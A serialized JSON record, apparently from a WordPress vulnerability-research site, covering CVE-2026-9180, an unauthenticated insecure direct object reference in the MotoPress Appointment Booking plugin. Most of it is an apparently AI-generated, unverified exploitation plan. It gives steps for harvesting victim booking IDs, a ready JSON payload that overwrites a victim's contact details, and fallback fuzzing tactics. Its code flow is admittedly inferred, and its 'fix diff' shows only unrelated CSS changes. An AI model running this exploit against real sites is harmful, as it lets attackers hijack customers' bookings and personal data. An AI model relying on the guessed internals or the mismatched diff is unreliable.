[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fprSeYpMa5L8oE7_Og2Hh2g6JEdvjVbTTDu5Wwu0HU20":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-9180","motopress-appointment-booking-unauthenticated-insecure-direct-object-reference-to-paymentdetailsbookingid-parameter","MotoPress Appointment Booking \u003C= 2.4.4 - Unauthenticated Insecure Direct Object Reference to 'payment_details.booking_id' Parameter","The MotoPress Appointment Booking plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to, and including, 2.4.4. This is due to the `POST \u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings` REST endpoint being registered with `'permission_callback' => '__return_true'`, allowing unauthenticated access, while the `createBooking` handler in `BookingsRestController.php` accepts an attacker-supplied `payment_details.booking_id` value and loads the referenced booking via `findById()` without verifying that the caller owns or has any rights to that booking. This makes it possible for unauthenticated attackers to overwrite the customer name, email address, phone number, and `customer_id` of any non-confirmed victim booking by submitting a request with no reservation items, causing `BookingService::createBooking()` to load the existing victim booking object and persist it with attacker-controlled customer data. Victim booking IDs can be harvested prior to exploitation without authentication by querying the also-publicly-accessible `GET \u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings\u002Freservations` endpoint with a guessable `service_id` and date range, and only bookings whose status is not `STATUS_CONFIRMED` (e.g., pending or auto-draft) are valid targets.","motopress-appointment-lite",null,"\u003C=2.4.4","2.4.5","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-07-02 00:00:00","2026-07-03 04:30:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe9a6521d-39b2-48f4-834b-888047619df5?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fadmin.css","assets\u002Fcss\u002Fadmin.min.css","assets\u002Fcss\u002Fedit-category.css","assets\u002Fcss\u002Fedit-category.min.css","assets\u002Fcss\u002Fedit-post.css","assets\u002Fcss\u002Fedit-post.min.css","assets\u002Fcss\u002Fmanage-posts.css","assets\u002Fcss\u002Fmanage-posts.min.css","researched",false,3,"This exploitation research plan focuses on **CVE-2026-9180**, an unauthenticated Authorization Bypass (IDOR) in the MotoPress Appointment Booking plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe `motopress-appointment-lite` plugin exposes a REST API endpoint for creating bookings that fails to validate the ownership or status of a booking when an existing ID is provided. The `createBooking` handler in `BookingsRestController.php` accepts a user-controlled `booking_id` within the `payment_details` object. Instead of creating a new record, the service loads the existing booking and overwrites its customer metadata (name, email, phone) with the attacker-provided values. This allows an unauthenticated attacker to hijack or corrupt pending appointments.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint**: `POST \u002Fwp-json\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings`\n*   **Harvesting Endpoint**: `GET \u002Fwp-json\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings\u002Freservations`\n*   **Authentication**: None (Unauthenticated). The `permission_callback` for the route is explicitly set to `__return_true`.\n*   **Vulnerable Parameter**: `payment_details.booking_id`\n*   **Preconditions**: \n    1.  A target booking must exist with a status other than `STATUS_CONFIRMED` (e.g., `pending` or `auto-draft`).\n    2.  The attacker must know or harvest the `booking_id`.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point**: A `POST` request hits the REST route `\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings`.\n2.  **Controller**: `BookingsRestController::createBooking()` (inferred) is invoked.\n3.  **Data Extraction**: The controller extracts the `payment_details` array from the JSON body.\n4.  **Insecure Loading**: The code checks for `payment_details['booking_id']`. If present, it calls `BookingService::findById($booking_id)` without checking if the current session \"owns\" that ID.\n5.  **Service Layer**: `BookingService::createBooking()` receives the loaded booking object and the new data.\n6.  **Persistence**: The service updates the booking's `customer_id`, `name`, `email`, and `phone` and calls `$booking->save()`, effectively overwriting the victim's information with the attacker's data.\n\n### 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the endpoint is registered with `'permission_callback' => '__return_true'`. In the WordPress REST API, when a route is accessible to unauthenticated users and does not rely on cookie-based authentication, the `X-WP-Nonce` header is typically **not required**.\n\nIf a nonce is enforced by a global filter, it can be acquired via the `mpa-checkout` localization:\n1.  **Identify Trigger**: The booking form scripts are usually enqueued on pages containing the `[mpa_checkout]` shortcode.\n2.  **Create Page**: `wp post create --post_type=page --post_status=publish --post_content='[mpa_checkout]' --post_title='Checkout'`\n3.  **Extract**: Navigate to the new page and execute:\n    `browser_eval(\"window.mpaCheckoutVars?.nonce\")` (inferred variable name based on MotoPress naming conventions).\n\n### 5. Exploitation Strategy\n\n#### Step 1: Harvest Victim Booking IDs\nThe attacker first identifies valid `booking_id` values by querying the reservations endpoint.\n*   **Tool**: `http_request`\n*   **Method**: `GET`\n*   **URL**: `\u002Fwp-json\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings\u002Freservations?from=2024-01-01&to=2026-01-01&service_id=1`\n*   **Expected Response**: A JSON array of reservations including `booking_id`.\n\n#### Step 2: Perform the Overwrite (IDOR)\nReplace the victim's contact details with attacker-controlled data.\n*   **Tool**: `http_request`\n*   **Method**: `POST`\n*   **URL**: `\u002Fwp-json\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings`\n*   **Headers**: `Content-Type: application\u002Fjson`\n*   **Payload**:\n```json\n{\n  \"customer\": {\n    \"name\": \"Hacked User\",\n    \"email\": \"attacker@example.com\",\n    \"phone\": \"555-0000\"\n  },\n  \"payment_details\": {\n    \"booking_id\": 123,\n    \"payment_method\": \"test\"\n  },\n  \"reservations\": []\n}\n```\n*Note: Sending an empty `reservations` array prevents the creation of new appointment slots while allowing the `payment_details` processing logic to trigger the overwrite.*\n\n### 6. Test Data Setup\n1.  **Install Plugin**: `wp plugin install motopress-appointment-lite --version=2.4.4 --activate`\n2.  **Create Service**:\n    *   `wp post create --post_type=mpa_service --post_title='Consultation' --post_status=publish` (Note the ID, e.g., 10).\n3.  **Create Victim Booking**:\n    *   Manually or via CLI, create a booking in `pending` status.\n    *   `wp post create --post_type=mpa_booking --post_title='Victim Booking' --post_status=mpa-pending`\n    *   Record the ID (e.g., 123).\n4.  **Verify Original Data**:\n    *   `wp post get 123 --field=post_title`\n\n### 7. Expected Results\n*   The REST API should return a `200 OK` or `201 Created` response.\n*   The response body may reflect the updated customer details.\n*   Crucially, the server does **not** return a `403 Forbidden` despite the attacker not owning booking `123`.\n\n### 8. Verification Steps\nAfter the `POST` request, verify the database state using WP-CLI:\n1.  Check the \"post title\" or customer metadata:\n    `wp post get 123`\n2.  Check for custom meta fields associated with the booking:\n    `wp post meta list 123`\n3.  Confirm that the email\u002Fname now matches `attacker@example.com` and `Hacked User`.\n\n### 9. Alternative Approaches\n*   **Fuzzing Service IDs**: If `service_id=1` returns no results in Step 1, use a loop to guess `service_id` from 1-100 to find active services.\n*   **Status Guessing**: If the overwrite fails on one ID, it may be because the status is already `confirmed`. Target `auto-draft` IDs which are often generated when a user simply opens the checkout page.\n*   **Direct Parameter Manipulation**: Try moving the `booking_id` outside of `payment_details` to the top-level JSON object if the schema allows it.","The MotoPress Appointment Booking plugin allows unauthenticated attackers to overwrite the customer details of existing bookings due to an Insecure Direct Object Reference (IDOR) in the REST API. By providing a victim's booking ID in the 'payment_details.booking_id' parameter of a creation request, the plugin loads and updates the existing record with attacker-supplied contact information without verifying ownership.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.4\u002Fassets\u002Fcss\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.4\u002Fassets\u002Fcss\u002Fadmin.css\t2026-06-08 10:27:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fadmin.css\t2026-06-23 11:36:52.000000000 +0000\n@@ -15,7 +15,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.4\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\n@@ -58,7 +58,7 @@\n   display: inline-block;\n   width: 20px;\n   height: 20px;\n-  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.4\");\n+  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\");\n }\n \n .mpa-table th {","1. Harvest victim booking IDs by querying the public `GET \u002Fwp-json\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings\u002Freservations` endpoint with a guessable `service_id` and date range.\n2. Construct a JSON payload containing a `customer` object with the desired malicious metadata (name, email, phone) and a `payment_details` object containing the target `booking_id`.\n3. Send an unauthenticated `POST` request to `\u002Fwp-json\u002Fmotopress\u002Fappointment\u002Fv1\u002Fbookings` with this payload and an empty `reservations` array.\n4. The server-side logic in `createBooking` will use `findById()` to load the victim's booking based on the provided ID and overwrite its properties with the attacker's data, as the endpoint is registered with `'permission_callback' => '__return_true'`.","gemini-3-flash-preview","2026-07-25 10:52:07","2026-07-25 10:52:49",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.4.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotopress-appointment-lite\u002Ftags\u002F2.4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmotopress-appointment-lite.2.4.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotopress-appointment-lite\u002Ftags\u002F2.4.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmotopress-appointment-lite.2.4.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotopress-appointment-lite\u002Ftags"]